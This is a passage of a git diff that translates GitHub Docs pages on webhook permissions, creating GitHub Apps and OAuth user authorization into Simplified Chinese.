+| [`project_card`](/webhooks/event-payloads/#project_card)                               | `repository_projects` 或 `organization_projects` | {% data reusables.webhooks.project_card_short_desc %}
+| [`project_column`](/webhooks/event-payloads/#project_column)                           | `repository_projects` 或 `organization_projects` | {% data reusables.webhooks.project_column_short_desc %}
+| [`public`](/webhooks/event-payloads/#public)                                           | `元数据`                                           | {% data reusables.webhooks.public_short_desc %}
+| [`pull_request`](/webhooks/event-payloads/#pull_request)                               | `pull_requests`                                 | {% data reusables.webhooks.pull_request_short_desc %}
+| [`pull_request_review`](/webhooks/event-payloads/#pull_request_review)                 | `pull_request`                                  | {% data reusables.webhooks.pull_request_review_short_desc %}
+| [`pull_request_review_comment`](/webhooks/event-payloads/#pull_request_review_comment) | `pull_request`                                  | {% data reusables.webhooks.pull_request_review_comment_short_desc %}
+| [`推送`](/webhooks/event-payloads/#push)                                                 | `内容`                                            | {% data reusables.webhooks.push_short_desc %}
+| [`发行版`](/webhooks/event-payloads/#release)                                             | `内容`                                            | {% data reusables.webhooks.release_short_desc %}
+| [`仓库`](/webhooks/event-payloads/#repository)                                           | `元数据`                                           | {% data reusables.webhooks.repository_short_desc %}{% ifversion fpt or ghec %}
+| [`repository_dispatch`](/webhooks/event-payloads/#repository_dispatch)                 | `内容`                                            | 允许集成者使用 GitHub Actions 触发自定义事件。{% endif %}
+| [`状态`](/webhooks/event-payloads/#status)                                               | `状态`                                            | {% data reusables.webhooks.status_short_desc %}
+| [`团队`](/webhooks/event-payloads/#team)                                                 | `members`                                       | {% data reusables.webhooks.team_short_desc %}
+| [`team_add`](/webhooks/event-payloads/#team_add)                                       | `members`                                       | {% data reusables.webhooks.team_add_short_desc %}
+| [`查看`](/webhooks/event-payloads/#watch)                                                | `元数据`                                           | {% data reusables.webhooks.watch_short_desc %}
diff --git a/translations/zh-CN/content/developers/apps/building-github-apps/creating-a-github-app.md b/translations/zh-CN/content/developers/apps/building-github-apps/creating-a-github-app.md
index 93f56c8090..31190d36d9 100644
--- a/translations/zh-CN/content/developers/apps/building-github-apps/creating-a-github-app.md
+++ b/translations/zh-CN/content/developers/apps/building-github-apps/creating-a-github-app.md
@@ -1,5 +1,5 @@
 ---
-title: Creating a GitHub App
+title: 创建 GitHub 应用程序
 intro: '{% data reusables.shortdesc.creating_github_apps %}'
 redirect_from:
   - /early-access/integrations/creating-an-integration
@@ -14,12 +14,13 @@ versions:
 topics:
   - GitHub Apps
 ---
-{% ifversion fpt or ghec %}To learn how to use GitHub App Manifests, which allow people to create preconfigured GitHub Apps, see "[Creating GitHub Apps from a manifest](/apps/building-github-apps/creating-github-apps-from-a-manifest/)."{% endif %}
+
+{% ifversion fpt or ghec %} 要了解如何使用 GitHub 应用程序清单允许用户创建预配置 GitHub 应用程序，请参阅“[从清单创建 GitHub 应用程序](/apps/building-github-apps/creating-github-apps-from-a-manifest/)。”{% endif %}
 
 {% ifversion fpt or ghec %}
 {% note %}
 
-  **Note:** {% data reusables.apps.maximum-github-apps-allowed %}
+  **注意：** {% data reusables.apps.maximum-github-apps-allowed %}
 
 {% endnote %}
 {% endif %}
@@ -27,57 +28,44 @@ topics:
 {% data reusables.apps.settings-step %}
 {% data reusables.user-settings.developer_settings %}
 {% data reusables.user-settings.github_apps %}
-1. Click **New GitHub App**.
-![Button to create a new GitHub App](/assets/images/github-apps/github_apps_new.png)
-1. In "GitHub App name", type the name of your app.
-![Field for the name of your GitHub App](/assets/images/github-apps/github_apps_app_name.png)
+1. 单击 **New GitHub App（新建 GitHub 应用程序）**。 ![用于创建新 GitHub 应用程序的按钮](/assets/images/github-apps/github_apps_new.png)
+1. 在“GitHub App name（GitHub 应用程序名称）”中，输入应用程序的名称。 ![GitHub 应用程序名称字段](/assets/images/github-apps/github_apps_app_name.png)
 
-  Give your app a clear and succinct name. Your app cannot have the same name as an existing GitHub account, unless it is your own user or organization name. A slugged version of your app's name will be shown in the user interface when your integration takes an action.
+  给应用程序一个清晰简洁的名称。 应用程序不能与现有 GitHub 帐户同名，除非它是您自己的用户或组织的名称。 当您的集成执行操作时，应用程序名称的缓存版本将显示在用户界面上。
 
-1. Optionally, in "Description", type a description of your app that users will see.
-![Field for a description of your GitHub App](/assets/images/github-apps/github_apps_description.png)
-1. In "Homepage URL", type the full URL to your app's website.
-![Field for the homepage URL of your GitHub App](/assets/images/github-apps/github_apps_homepage_url.png)
+1. （可选）在“Description（说明）”中，输入用户将看到的应用程序说明。 ![GitHub 应用程序说明字段](/assets/images/github-apps/github_apps_description.png)
+1. 在“Homepage URL（主页 URL）”中，输入应用程序网站的完整 URL。 ![GitHub 应用程序主页 URL 字段](/assets/images/github-apps/github_apps_homepage_url.png)
 {% ifversion fpt or ghes > 3.0 or ghec %}
-1. In "Callback URL", type the full URL to redirect to after a user authorizes the installation. This URL is used if your app needs to identify and authorize user-to-server requests.
+1. 在“Callback URL（回调 URL）”中，键入用户授权安装后要重定向到的完整 URL。 如果应用程序需要识别和授权用户到服务器的请求，则使用此 URL。
 
-  You can use **Add callback URL** to provide additional callback URLs, up to a maximum of 10.
+  您可以使用 **Add callback URL（添加回调 URL）**来提供额外的回调 URL，最多不超过 10 个。
 
-  ![Button for 'Add callback URL' and field for callback URL](/assets/images/github-apps/github_apps_callback_url_multiple.png)
+  ![用于“添加回调 URL”的按钮和回调 URL 的字段](/assets/images/github-apps/github_apps_callback_url_multiple.png)
 {% else %}
-1. In "User authorization callback URL", type the full URL to redirect to after a user authorizes an installation. This URL is used if your app needs to identify and authorize user-to-server requests.
-![Field for the user authorization callback URL of your GitHub App](/assets/images/github-apps/github_apps_user_authorization.png)
+1. 在“User authorization callback URL（用户授权回调 URL）”中，键入用户授权安装后要重定向到的完整 URL。 如果应用程序需要识别和授权用户到服务器的请求，则使用此 URL。 ![GitHub 应用程序的用户授权回调 URL 字段](/assets/images/github-apps/github_apps_user_authorization.png)
 
 {% endif %}
-1. By default, to improve your app's security, your app will use expiring user authorization tokens. To opt-out of using expiring user tokens, you must deselect "Expire user authorization tokens". To learn more about setting up a refresh token flow and the benefits of expiring user tokens, see "[Refreshing user-to-server access tokens](/apps/building-github-apps/refreshing-user-to-server-access-tokens/)."
-  ![Option to opt-in to expiring user tokens during GitHub Apps setup](/assets/images/github-apps/expire-user-tokens-selection.png)
-1. If your app authorizes users using the OAuth flow, you can select **Request user authorization (OAuth) during installation** to allow people to authorize the app when they install it, saving a step. If you select this option, the "Setup URL" becomes unavailable and users will be redirected to your "User authorization callback URL" after installing the app. See "[Authorizing users during installation](/apps/installing-github-apps/#authorizing-users-during-installation)" for more information.
-![Request user authorization during installation](/assets/images/github-apps/github_apps_request_auth_upon_install.png)
-1. If additional setup is required after installation, add a "Setup URL" to redirect users to after they install your app.
-![Field for the setup URL of your GitHub App ](/assets/images/github-apps/github_apps_setup_url.png)
+1. 默认情况下，为了提高应用程序的安全性，应用程序将使用过期用户授权令牌。 要选择不使用过期用户令牌，您必须取消选中“Expire user authorization tokens（过期用户授权令牌）”。 要了解有关设置刷新令牌流程和过期用户令牌的好处，请参阅“[刷新用户到服务器的访问令牌](/apps/building-github-apps/refreshing-user-to-server-access-tokens/)”。 ![在 GitHub 应用程序设置过程中选择加入过期用户令牌的选项](/assets/images/github-apps/expire-user-tokens-selection.png)
+1. 如果应用程序授权用户使用 OAuth 流程，您可以选择**在安装过程中请求用户授权 (OAuth)**，以允许用户在安装应用程序时授权它，从而省去一个步骤。 如果您选择此选项，则“设置 URL”将不可用，用户在安装应用程序后将被重定向到您的“用户授权回调 URL”。 更多信息请参阅“[在安装过程中授权用户](/apps/installing-github-apps/#authorizing-users-during-installation)”。 ![安装过程中请求用户授权](/assets/images/github-apps/github_apps_request_auth_upon_install.png)
+1. 如果安装后需要附加设置，请添加一个“设置 URL”以便在用户安装应用程序后重定向他们。 ![GitHub 应用程序的设置 URL 字段 ](/assets/images/github-apps/github_apps_setup_url.png)
 
   {% note %}
 
-  **Note:** When you select **Request user authorization (OAuth) during installation** in the previous step, this field becomes unavailable and people will be redirected to the "User authorization callback URL" after installing the app.
+  **注：**如果您在上一步选择了**在安装过程中请求用户授权 (OAuth)**，此字段将不可用，用户在安装应用程序后将被重定向到“用户授权回调 URL”。
 
   {% endnote %}
 
-1. In "Webhook URL", type the URL that events will POST to. Each app receives its own webhook which will notify you every time the app is installed or modified, as well as any other events the app subscribes to.
-![Field for the webhook URL of your GitHub App](/assets/images/github-apps/github_apps_webhook_url.png)
+1. 在“Webhook URL（Web 挂钩 URL）”中，输入事件将 POST 到的 URL。 每个应用程序都会收到自己的 web 挂钩（每当应用程序被安装或修改时都会通知您）以及应用程序订阅的任何其他事件。 ![GitHub 应用程序的 web 挂钩 URL 字段](/assets/images/github-apps/github_apps_webhook_url.png)
 
-1. Optionally, in "Webhook Secret", type an optional secret token used to secure your webhooks.
-![Field to add a secret token for your webhook](/assets/images/github-apps/github_apps_webhook_secret.png)
+1. （可选）在“Webhook Secret（Web 挂钩密钥）”中，输入用于保护 web 挂钩的可选密钥令牌。 ![添加 web 挂钩密钥令牌的字段](/assets/images/github-apps/github_apps_webhook_secret.png)
 
   {% note %}
 
-  **Note:** We highly recommend that you set a secret token. For more information, see "[Securing your webhooks](/webhooks/securing/)."
+  **注：**我们强烈建议您设置密钥令牌。 更多信息请参阅“[保护 web 挂钩](/webhooks/securing/)”。
 
   {% endnote %}
 
-1. In "Permissions", choose the permissions your app will request. For each type of permission, use the drop-down menu and click **Read-only**, **Read & write**, or **No access**.
-![Various permissions for your GitHub App](/assets/images/github-apps/github_apps_new_permissions_post2dot13.png)
-1. In "Subscribe to events", choose the events you want your app to receive.
-1. To choose where the app can be installed, select either **Only on this account** or **Any account**. For more information on installation options, see "[Making a GitHub App public or private](/apps/managing-github-apps/making-a-github-app-public-or-private/)."
-![Installation options for your GitHub App](/assets/images/github-apps/github_apps_installation_options.png)
-1. Click **Create GitHub App**.
-![Button to create your GitHub App](/assets/images/github-apps/github_apps_create_github_app.png)
+1. 在“Permissions（权限）”中，选择应用程序将请求的权限。 对于每种类型的权限，请使用下拉菜单并单击 **Read-only（只读）**、**Read & write（读取和写入）** 或 **No access（无访问权限）**。 ![GitHub 应用程序的各种权限](/assets/images/github-apps/github_apps_new_permissions_post2dot13.png)
+1. 在“Subscribe to events（订阅事件）”中，选择您想要应用程序接收的事件。
+1. 要选择可安装应用程序的位置，请选择 **Only on this account（仅在此帐户上）**或 **Any account（任何帐户）**。 有关安装选项的更多信息，请参阅“[将 GitHub 应用程序设为公开或私有](/apps/managing-github-apps/making-a-github-app-public-or-private/)”。 ![GitHub 应用程序的安装选项](/assets/images/github-apps/github_apps_installation_options.png)
+1. 单击 **Create GitHub App（创建 GitHub 应用程序）**。 ![创建 GitHub 应用程序的按钮](/assets/images/github-apps/github_apps_create_github_app.png)
diff --git a/translations/zh-CN/content/developers/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps.md b/translations/zh-CN/content/developers/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps.md
index f3dc98fd52..f3f0f6d45e 100644
--- a/translations/zh-CN/content/developers/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps.md
+++ b/translations/zh-CN/content/developers/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps.md
@@ -1,5 +1,5 @@
 ---
-title: Identifying and authorizing users for GitHub Apps
+title: 识别和授权 GitHub 应用程序用户
 intro: '{% data reusables.shortdesc.identifying_and_authorizing_github_apps %}'
 redirect_from:
   - /early-access/integrations/user-identification-authorization
@@ -13,88 +13,89 @@ versions:
   ghec: '*'
 topics:
   - GitHub Apps
-shortTitle: Identify & authorize users
+shortTitle: 识别和授权用户
 ---
+
 {% data reusables.pre-release-program.expiring-user-access-tokens %}
 
-When your GitHub App acts on behalf of a user, it performs user-to-server requests. These requests must be authorized with a user's access token. User-to-server requests include requesting data for a user, like determining which repositories to display to a particular user. These requests also include actions triggered by a user, like running a build.
+当 GitHub 应用程序代表用户时，它执行用户到服务器请求。 这些请求必须使用用户的访问令牌进行授权。 用户到服务器请求包括请求用户的数据，例如确定要向特定用户显示哪些仓库。 这些请求还包括用户触发的操作，例如运行构建。
 
 {% data reusables.apps.expiring_user_authorization_tokens %}
 
-## Identifying users on your site
+## 识别站点上的用户
 
-To authorize users for standard apps that run in the browser, use the [web application flow](#web-application-flow).
+要授权用户使用在浏览器中运行的标准应用程序，请使用 [web 应用程序流程](#web-application-flow)。
 
 {% ifversion fpt or ghae or ghes > 3.0 or ghec %}
 
-To authorize users for headless apps without direct access to the browser, such as CLI tools or Git credential managers, use the [device flow](#device-flow). The device flow uses the OAuth 2.0 [Device Authorization Grant](https://tools.ietf.org/html/rfc8628).
+要授权用户使用不直接访问浏览器的无头应用程序（例如 CLI 工具或 Git 凭据管理器），请使用[设备流程](#device-flow)。 设备流程使用 OAuth 2.0 [设备授权授予](https://tools.ietf.org/html/rfc8628)。
 
 {% endif %}
 
-## Web application flow
+## Web 应用程序流程
 
-Using the web application flow, the process to identify users on your site is:
+使用 web 应用程序流程时，识别您站点上用户的过程如下：
 
-1. Users are redirected to request their GitHub identity
-2. Users are redirected back to your site by GitHub
-3. Your GitHub App accesses the API with the user's access token
+1. 用户被重定向，以请求他们的 GitHub 身份
+2. 用户被 GitHub 重定向回您的站点
+3. 您的 GitHub 应用程序使用用户的访问令牌访问 API
 
-If you select **Request user authorization (OAuth) during installation** when creating or modifying your app, step 1 will be completed during app installation. For more information, see "[Authorizing users during installation](/apps/installing-github-apps/#authorizing-users-during-installation)."
+如果您在创建或修改应用程序时选择**在安装过程中请求用户授权 (OAuth)**，则步骤 1 将在应用程序安装过程中完成。 更多信息请参阅“[在安装过程中授权用户](/apps/installing-github-apps/#authorizing-users-during-installation)”。
 
-### 1. Request a user's GitHub identity
-Direct the user to the following URL in their browser:
+### 1. 请求用户的 GitHub 身份
+将用户引导到其浏览器中的以下URL：
 
     GET {% data variables.product.oauth_host_code %}/login/oauth/authorize
 
-When your GitHub App specifies a `login` parameter, it prompts users with a specific account they can use for signing in and authorizing your app.
+当您的 GitHub 应用程序指定 `login` 参数后，它将提示拥有特定账户的用户可以用来登录和授权您的应用程序。
 
-#### Parameters
+#### 参数
 
-Name | Type | Description
------|------|------------
-`client_id` | `string` | **Required.** The client ID for your GitHub App. You can find this in your [GitHub App settings](https://github.com/settings/apps) when you select your app. **Note:** The app ID and client ID are not the same, and are not interchangeable.
-`redirect_uri` | `string` | The URL in your application where users will be sent after authorization. This must be an exact match to {% ifversion fpt or ghes > 3.0 or ghec %} one of the URLs you provided as a **Callback URL** {% else %} the URL you provided in the **User authorization callback URL** field{% endif %} when setting up your GitHub App and can't contain any additional parameters.
-`state` | `string` | This should contain a random string to protect against forgery attacks and could contain any other arbitrary data.
-`login` | `string` | Suggests a specific account to use for signing in and authorizing the app.
-`allow_signup` | `string` | Whether or not unauthenticated users will be offered an option to sign up for {% data variables.product.prodname_dotcom %} during the OAuth flow. The default is `true`. Use `false` when a policy prohibits signups.
+| 名称             | 类型    | 描述                                                                                                                                                                                                                             |
+| -------------- | ----- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
+| `client_id`    | `字符串` | **必填。**GitHub 应用程序的客户端 ID。 选择应用程序时，您可以在 [GitHub 应用程序设置](https://github.com/settings/apps)中找到它。 **注意：** 应用程序 ID 和客户端 ID 不相同，无法互换。                                                                                               |
+| `redirect_uri` | `字符串` | 用户获得授权后被发送到的应用程序中的 URL。 它必须完全匹配设置 GitHub 应用程序时 {% ifversion fpt or ghes > 3.0 or ghec %} 作为 **Callback URL（回调 URL）**提供的 URL 之一 {% else %} 在 **User authorization callback URL（用户授权回调 URL）**字段中提供的 URL{% endif %}，并且不能包含任何其他参数。 |
+| `state`        | `字符串` | 它应该包含一个随机字符串以防止伪造攻击，并且可以包含任何其他任意数据。                                                                                                                                                                                            |
+| `login`        | `字符串` | 提供用于登录和授权应用程序的特定账户。                                                                                                                                                                                                            |
+| `allow_signup` | `字符串` | 在 OAuth 流程中，是否向经过验证的用户提供注册 {% data variables.product.prodname_dotcom %} 的选项。 默认值为 `true`。 如有政策禁止注册，请使用 `false`。                                                                                                                |
 
 {% note %}
 
-**Note:** You don't need to provide scopes in your authorization request. Unlike traditional OAuth, the authorization token is limited to the permissions associated with your GitHub App and those of the user.
+**注** ：不需要在授权请求中提供作用域。 不同于传统的 OAuth，授权令牌仅限于与您的 GitHub 应用程序和用户的应用程序相关联的权限。
 
 {% endnote %}
 
-### 2. Users are redirected back to your site by GitHub
+### 2. 用户被 GitHub 重定向回您的站点
 
-If the user accepts your request, GitHub redirects back to your site with a temporary `code` in a code parameter as well as the state you provided in the previous step in a `state` parameter. If the states don't match, the request was created by a third party and the process should be aborted.
+如果用户接受您的请求，GitHub 将重定向回您的站点，其中，代码参数为临时 `code`，`state` 参数为您在上一步提供的状态。 如果状态不匹配，则请求是由第三方创建的，该过程应中止。
 
 {% note %}
 
-**Note:** If you select **Request user authorization (OAuth) during installation** when creating or modifying your app, GitHub returns a temporary `code` that you will need to exchange for an access token. The `state` parameter is not returned when GitHub initiates the OAuth flow during app installation.
+**注：**如果您在创建或修改应用程序时选择**在安装过程中请求用户授权 (OAuth)**，则 GitHub 将返回需要交换访问令牌的临时 `code`。 当 GitHub 在应用程序安装过程中启动 OAuth 流程时，不会返回 `state` 参数。
 
 {% endnote %}
 
-Exchange this `code` for an access token.  When expiring tokens are enabled, the access token expires in 8 hours and the refresh token expires in 6 months. Every time you refresh the token, you get a new refresh token. For more information, see "[Refreshing user-to-server access tokens](/developers/apps/refreshing-user-to-server-access-tokens)."
+将此 `code` 交换为访问令牌。  启用令牌有效期时，访问令牌在 8 小时后过期，刷新令牌在 6 个月后过期。 每次刷新令牌时都会得到一个新的刷新令牌。 更多信息请参阅“[刷新用户到服务器访问令牌](/developers/apps/refreshing-user-to-server-access-tokens)”。
 
-Expiring user tokens are currently an optional feature and subject to change. To opt-in to the user-to-server token expiration feature, see "[Activating optional features for apps](/developers/apps/activating-optional-features-for-apps)."
+过期用户令牌目前是一个可选的功能，可能会更改。 要选择使用用户到服务器令牌过期功能，请参阅“[激活应用程序的可选功能](/developers/apps/activating-optional-features-for-apps)”。
 
-Make a request to the following endpoint to receive an access token:
+向以下端点提出请求以接收访问令牌：
 
     POST {% data variables.product.oauth_host_code %}/login/oauth/access_token
 
-#### Parameters
+#### 参数
 
-Name | Type | Description
------|------|------------
-`client_id` | `string` | **Required.** The  client ID for your GitHub App.
-`client_secret` | `string`   | **Required.** The  client secret for your GitHub App.
-`code` | `string`   | **Required.** The code you received as a response to Step 1.
-`redirect_uri` | `string` | The URL in your application where users will be sent after authorization. This must be an exact match to {% ifversion fpt or ghes > 3.0 or ghec %} one of the URLs you provided as a **Callback URL** {% else %} the URL you provided in the **User authorization callback URL** field{% endif %} when setting up your GitHub App and can't contain any additional parameters.
-`state` | `string` | The unguessable random string you provided in Step 1.
+| 名称              | 类型    | 描述                                                                                                                                                                                                                             |
+| --------------- | ----- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
+| `client_id`     | `字符串` | **必填。**GitHub 应用程序的客户端 ID。                                                                                                                                                                                                     |
+| `client_secret` | `字符串` | **必填。**GitHub 应用程序的客户端密钥。                                                                                                                                                                                                      |
+| `代码`            | `字符串` | **必填。**您收到的响应第 1 步的代码。                                                                                                                                                                                                         |
+| `redirect_uri`  | `字符串` | 用户获得授权后被发送到的应用程序中的 URL。 它必须完全匹配设置 GitHub 应用程序时 {% ifversion fpt or ghes > 3.0 or ghec %} 作为 **Callback URL（回调 URL）**提供的 URL 之一 {% else %} 在 **User authorization callback URL（用户授权回调 URL）**字段中提供的 URL{% endif %}，并且不能包含任何其他参数。 |
+| `state`         | `字符串` | 您在第 1 步提供的不可猜测的随机字符串。                                                                                                                                                                                                          |
 
-#### Response
+#### 响应
 
-By default, the response takes the following form. The response parameters `expires_in`, `refresh_token`,  and `refresh_token_expires_in` are only returned when you enable expiring user-to-server access tokens.
+默认情况下，响应采用以下形式。 响应参数 `expires_in`、`refresh_token` 和 `refresh_token_expires_in` 仅当您启用过期用户到服务器访问令牌功能时才会返回。
 
 ```json
 {
@@ -107,14 +108,14 @@ By default, the response takes the following form. The response parameters `expi
 }
 ```
 
-### 3. Your GitHub App accesses the API with the user's access token
+### 3. 您的 GitHub 应用程序使用用户的访问令牌访问 API
 
-The user's access token allows the GitHub App to make requests to the API on behalf of a user.
+用户的访问令牌允许 GitHub 应用程序代表用户向 API 发出请求。
 
     Authorization: token OAUTH-TOKEN
     GET {% data variables.product.api_url_code %}/user
 
-For example, in curl you can set the Authorization header like this:
+例如，您可以像以下这样在 curl 中设置“授权”标头：
 
 ```shell
 curl -H "Authorization: token OAUTH-TOKEN" {% data variables.product.api_url_pre %}/user
@@ -122,812 +123,812 @@ curl -H "Authorization: token OAUTH-TOKEN" {% data variables.product.api_url_pre
 
 {% ifversion fpt or ghae or ghes > 3.0 or ghec %}
 
-## Device flow
+## 设备流程
 
 {% note %}
 
-**Note:** The device flow is in public beta and subject to change.
+**注：**设备流程处于公开测试阶段，可能会有变化。
 
 {% endnote %}
 
-The device flow allows you to authorize users for a headless app, such as a CLI tool or Git credential manager.
+设备流程允许您授权用户使用无头应用程序，例如 CLI 工具或 Git 凭据管理器。
 
-For more information about authorizing users using the device flow, see "[Authorizing OAuth Apps](/developers/apps/authorizing-oauth-apps#device-flow)".
+有关使用设备流程授权用户的更多信息，请参阅“[授权 OAuth 应用程序](/developers/apps/authorizing-oauth-apps#device-flow)”。
 
 {% endif %}
 
-## Check which installation's resources a user can access
+## 检查用户可以访问哪些安装资源
 
 
-Once you have an OAuth token for a user, you can check which installations that user can access.
+获得用户的 OAuth 令牌后，您可以检查该用户可以访问哪些安装。
 
     Authorization: token OAUTH-TOKEN
     GET /user/installations
 
-You can also check which repositories are accessible to a user for an installation.
+您还可以检查用户可以访问哪些仓库进行安装。
 
     Authorization: token OAUTH-TOKEN
     GET /user/installations/:installation_id/repositories
 
-More details can be found in: [List app installations accessible to the user access token](/rest/reference/apps#list-app-installations-accessible-to-the-user-access-token) and [List repositories accessible to the user access token](/rest/reference/apps#list-repositories-accessible-to-the-user-access-token).
+更多信息请参阅：[列出用户访问令牌可访问的应用程序安装](/rest/reference/apps#list-app-installations-accessible-to-the-user-access-token)和[列出用户访问令牌可访问的仓库](/rest/reference/apps#list-repositories-accessible-to-the-user-access-token)。
 
-## Handling a revoked GitHub App authorization
+## 处理已撤销的 GitHub 应用程序授权
 
-If a user revokes their authorization of a GitHub App, the app will receive the [`github_app_authorization`](/webhooks/event-payloads/#github_app_authorization) webhook by default. GitHub Apps cannot unsubscribe from this event. {% data reusables.webhooks.authorization_event %}
+默认情况下，如果用户撤销对 GitHub 应用程序的授权，该应用程序将收到 [`github_app_authorization`](/webhooks/event-payloads/#github_app_authorization) web 挂钩。 GitHub 应用程序无法取消订阅此事件。 {% data reusables.webhooks.authorization_event %}
 
-## User-level permissions
+## 用户级别的权限
 
-You can add user-level permissions to your GitHub App to access user resources, such as user emails, that are granted by individual users as part of the [user authorization flow](#identifying-users-on-your-site). User-level permissions differ from [repository and organization-level permissions](/rest/reference/permissions-required-for-github-apps), which are granted at the time of installation on an organization or user account.
+您可以向 GitHub 应用程序添加用户级别的权限，以访问用户电子邮件等用户资源，这些权限是单个用户在[用户授权流程](#identifying-users-on-your-site)中授予的。 用户级别的权限不同于[仓库和组织级别的权限](/rest/reference/permissions-required-for-github-apps)，后者是在组织或用户帐户上安装时授予的。
 
-You can select user-level permissions from within your GitHub App's settings in the **User permissions** section of the **Permissions & webhooks** page. For more information on selecting permissions, see "[Editing a GitHub App's permissions](/apps/managing-github-apps/editing-a-github-app-s-permissions/)."
+您可以在 **Permissions & webhooks（权限和 web 挂钩）**页面 **User permissions（用户权限）**部分的 GitHub 应用程序设置中选择用户级别的权限。 有关选择权限的更多信息，请参阅“[编辑 GitHub 应用程序的权限](/apps/managing-github-apps/editing-a-github-app-s-permissions/)”。
 
-When a user installs your app on their account, the installation prompt will list the user-level permissions your app is requesting and explain that the app can ask individual users for these permissions.
+当用户在他们的帐户上安装您的应用程序时，安装提示将列出应用程序请求的用户级别权限，并说明应用程序会向各个用户请求这些权限。
 
-Because user-level permissions are granted on an individual user basis, you can add them to your existing app without prompting users to upgrade. You will, however, need to send existing users through the user authorization flow to authorize the new permission and get a new user-to-server token for these requests.
+由于用户级别的权限是基于单个用户授予的，因此您可以将它们添加到现有应用中，而无需提示用户升级。 但是，您需要通过用户授权流程发送现有用户，以授权新权限并为这些请求获取新的用户到服务器令牌。
 
-## User-to-server requests
+## 用户到服务器请求
 
-While most of your API interaction should occur using your server-to-server installation access tokens, certain endpoints allow you to perform actions via the API using a user access token. Your app can make the following requests using [GraphQL v4]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql) or [REST v3](/rest) endpoints.
+虽然大多数 API 交互应使用服务器到服务器安装访问令牌进行，但某些端点允许您使用用户访问令牌通过 API 执行操作。 您的应用程序可以使用[GraphQL v4]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql) 或 [REST v3](/rest) 端点发出以下请求。
 
-### Supported endpoints
+### 支持的端点
 
 {% ifversion fpt or ghec %}
-#### Actions Runners
+#### 操作运行器
 
-* [List runner applications for a repository](/rest/reference/actions#list-runner-applications-for-a-repository)
-* [List self-hosted runners for a repository](/rest/reference/actions#list-self-hosted-runners-for-a-repository)
-* [Get a self-hosted runner for a repository](/rest/reference/actions#get-a-self-hosted-runner-for-a-repository)
-* [Delete a self-hosted runner from a repository](/rest/reference/actions#delete-a-self-hosted-runner-from-a-repository)
-* [Create a registration token for a repository](/rest/reference/actions#create-a-registration-token-for-a-repository)
-* [Create a remove token for a repository](/rest/reference/actions#create-a-remove-token-for-a-repository)
-* [List runner applications for an organization](/rest/reference/actions#list-runner-applications-for-an-organization)
-* [List self-hosted runners for an organization](/rest/reference/actions#list-self-hosted-runners-for-an-organization)
-* [Get a self-hosted runner for an organization](/rest/reference/actions#get-a-self-hosted-runner-for-an-organization)
-* [Delete a self-hosted runner from an organization](/rest/reference/actions#delete-a-self-hosted-runner-from-an-organization)
-* [Create a registration token for an organization](/rest/reference/actions#create-a-registration-token-for-an-organization)
-* [Create a remove token for an organization](/rest/reference/actions#create-a-remove-token-for-an-organization)
+* [列出仓库的运行器应用程序](/rest/reference/actions#list-runner-applications-for-a-repository)
+* [列出仓库的自托管运行器](/rest/reference/actions#list-self-hosted-runners-for-a-repository)
+* [获取仓库的自托管运行器](/rest/reference/actions#get-a-self-hosted-runner-for-a-repository)
+* [从仓库删除自托管运行器](/rest/reference/actions#delete-a-self-hosted-runner-from-a-repository)
+* [为仓库创建注册令牌](/rest/reference/actions#create-a-registration-token-for-a-repository)
+* [为仓库创建删除令牌](/rest/reference/actions#create-a-remove-token-for-a-repository)
+* [列出组织的运行器应用程序](/rest/reference/actions#list-runner-applications-for-an-organization)
+* [列出组织的自托管运行器](/rest/reference/actions#list-self-hosted-runners-for-an-organization)
+* [获取组织的自托管运行器](/rest/reference/actions#get-a-self-hosted-runner-for-an-organization)
+* [从组织删除自托管运行器](/rest/reference/actions#delete-a-self-hosted-runner-from-an-organization)
+* [为组织创建注册令牌](/rest/reference/actions#create-a-registration-token-for-an-organization)
+* [为组织创建删除令牌](/rest/reference/actions#create-a-remove-token-for-an-organization)
 
-#### Actions Secrets
+#### 操作密钥
 
-* [Get a repository public key](/rest/reference/actions#get-a-repository-public-key)
-* [List repository secrets](/rest/reference/actions#list-repository-secrets)
-* [Get a repository secret](/rest/reference/actions#get-a-repository-secret)
-* [Create or update a repository secret](/rest/reference/actions#create-or-update-a-repository-secret)
-* [Delete a repository secret](/rest/reference/actions#delete-a-repository-secret)
-* [Get an organization public key](/rest/reference/actions#get-an-organization-public-key)
-* [List organization secrets](/rest/reference/actions#list-organization-secrets)
-* [Get an organization secret](/rest/reference/actions#get-an-organization-secret)
-* [Create or update an organization secret](/rest/reference/actions#create-or-update-an-organization-secret)
-* [List selected repositories for an organization secret](/rest/reference/actions#list-selected-repositories-for-an-organization-secret)
-* [Set selected repositories for an organization secret](/rest/reference/actions#set-selected-repositories-for-an-organization-secret)
-* [Add selected repository to an organization secret](/rest/reference/actions#add-selected-repository-to-an-organization-secret)
-* [Remove selected repository from an organization secret](/rest/reference/actions#remove-selected-repository-from-an-organization-secret)
-* [Delete an organization secret](/rest/reference/actions#delete-an-organization-secret)
+* [获取仓库公钥](/rest/reference/actions#get-a-repository-public-key)
+* [列出仓库密钥](/rest/reference/actions#list-repository-secrets)
+* [获取仓库密钥](/rest/reference/actions#get-a-repository-secret)
+* [创建或更新仓库密钥](/rest/reference/actions#create-or-update-a-repository-secret)
+* [删除仓库密钥](/rest/reference/actions#delete-a-repository-secret)
+* [获取组织公钥](/rest/reference/actions#get-an-organization-public-key)
+* [列出组织密钥](/rest/reference/actions#list-organization-secrets)
+* [获取组织密钥](/rest/reference/actions#get-an-organization-secret)
+* [创建或更新组织密钥](/rest/reference/actions#create-or-update-an-organization-secret)
+* [列出组织密钥的所选仓库](/rest/reference/actions#list-selected-repositories-for-an-organization-secret)
+* [设置组织密钥的所选仓库](/rest/reference/actions#set-selected-repositories-for-an-organization-secret)
+* [向组织密钥添加所选仓库](/rest/reference/actions#add-selected-repository-to-an-organization-secret)
+* [从组织密钥删除所选仓库](/rest/reference/actions#remove-selected-repository-from-an-organization-secret)
+* [删除组织密钥](/rest/reference/actions#delete-an-organization-secret)
 {% endif %}
 
 {% ifversion fpt or ghec %}
-#### Artifacts
+#### 构件
 
-* [List artifacts for a repository](/rest/reference/actions#list-artifacts-for-a-repository)
